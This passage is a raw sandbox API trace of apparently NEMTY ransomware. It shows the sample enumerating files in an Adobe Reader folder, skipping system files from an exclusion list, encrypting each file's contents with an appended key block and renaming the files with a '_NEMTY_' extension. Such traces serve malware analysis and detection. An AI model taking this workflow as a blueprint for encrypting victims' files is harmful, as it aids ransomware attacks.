lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.530] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\dva.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\dva.hrv._nemty_kgobjgd_")) returned 1 [0177.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.531] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.HRV", cAlternateFileName="")) returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2=".") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="..") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="...") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="windows") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="rsa") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="NTDETECT.COM") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="ntldr") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="MSDOS.SYS") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="IO.SYS") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="boot.ini") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="boot.ini") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="ntuser.dat") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="desktop.ini") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="CONFIG.SYS") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="RECYCLER") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="bootmgr") returned 1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="programdata") returned -1 [0177.531] lstrcmpiW (lpString1="eBook.HRV", lpString2="appdata") returned 1 [0177.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HRV", lpUsedDefaultChar=0x0) returned 9 [0177.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HRV", lpUsedDefaultChar=0x0) returned 9 [0177.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HRV", lpUsedDefaultChar=0x0) returned 9 [0177.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HRV", lpUsedDefaultChar=0x0) returned 9 [0177.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.532] Sleep (dwMilliseconds=0x5) [0177.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d784590, dwHighDateTime=0x1d561e8)) [0177.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d784590, dwHighDateTime=0x1d561e8)) [0177.541] GetLastError () returned 0x0 [0177.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.541] GetLastError () returned 0x0 [0177.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.542] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.542] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="lWROt7M9mqKm2g/FFZSXaSct2+r21/P7MuBGF2ru75fcK1kevb3/rRUjRDBduwW5\r\nKotA5wS6dClo5CJdEeaDpM+Aq5DxUbH0WnBzkYn71nuOfjoZADJGa/3lMvl/jOjO\r\nzWDLYZb9dRlp5YdCUQCj5y2+ViZCUSNBHTJojk5U/MrgXMeYx2wekh3VYRuHPzI6\r\nJVoj7udDC+5YfR7uZN/IbHcB9i1d1wVMWcKpXyY93WJZEaCuxCMp/YTU9Quplzep\r\n/68e5CGdbNFzScRcZWLDze+2mIFiya+UZ5eykjDmAehfDUGSL5a/nMNgETsQB5pH\r\n+OJizwNuyxpxiul2LMf2nw==\r\n", pcchString=0x653e5dc) returned 1 [0177.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.542] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0177.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0177.542] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.542] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0177.545] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.545] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0177.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.545] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0177.545] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.545] CloseHandle (hObject=0x2e8) returned 1 [0177.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.546] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv._nemty_kgobjgd_")) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.546] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.HRV", cAlternateFileName="")) returned 1 [0177.546] lstrcmpiW (lpString1="EScript.HRV", lpString2=".") returned 1 [0177.546] lstrcmpiW (lpString1="EScript.HRV", lpString2="..") returned 1 [0177.546] lstrcmpiW (lpString1="EScript.HRV", lpString2="...") returned 1 [0177.546] lstrcmpiW (lpString1="EScript.HRV", lpString2="windows") returned -1 [0177.546] lstrcmpiW (lpString1="EScript.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.546] lstrcmpiW (lpString1="EScript.HRV", lpString2="rsa") returned -1 [0177.546] lstrcmpiW (lpString1="EScript.HRV", lpString2="NTDETECT.COM") returned -1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="ntldr") returned -1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="MSDOS.SYS") returned -1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="IO.SYS") returned -1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="boot.ini") returned 1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="boot.ini") returned 1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="ntuser.dat") returned -1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="desktop.ini") returned 1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="CONFIG.SYS") returned 1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="RECYCLER") returned -1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="bootmgr") returned 1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="programdata") returned -1 [0177.547] lstrcmpiW (lpString1="EScript.HRV", lpString2="appdata") returned 1 [0177.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.548] Sleep (dwMilliseconds=0x5) [0177.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d7aa6f0, dwHighDateTime=0x1d561e8)) [0177.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d7aa6f0, dwHighDateTime=0x1d561e8)) [0177.557] GetLastError () returned 0x0 [0177.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.557] GetLastError () returned 0x0 [0177.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.557] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.557] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.557] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.557] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="41FfTQ9IKHfcZ3CDj2ACIPU80uNnZBTGdnnauYjlG6Y3HurdU1eFHSlAUOp7lrZ4\r\nmHNBJg6WKd8NXDipM/1AGpWEq6mwOIF7/QlgPclb03TA9hOqN+9YpauoSsgxlx8U\r\n9bzcfg5exEEmoXiDDhcIiEY3tXYwH+mC8exyIjrBJ925yGEa4gvmq5RSG/7+4FZt\r\nv0i5PnbtdEl7KOb2i3zFA7ZVlrGn33KuFUbViGkijBZNMvfezxF7r6I1LVyeV2Bf\r\n5Ddr7txIC3nOr+KvR/MDLeEf6L+cH0Hh84qtTZWyS/LWR/MUbesxR6PohyNbADf+\r\nFWkhbAalTX+DN1jSEvC0mA==\r\n", pcchString=0x653e5dc) returned 1 [0177.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\escript.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.558] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41472) returned 1 [0177.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa200) returned 0x6352c48 [0177.558] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.558] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa200, lpOverlapped=0x0) returned 1 [0177.562] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.562] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa200, lpOverlapped=0x0) returned 1 [0177.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.562] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200 [0177.562] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 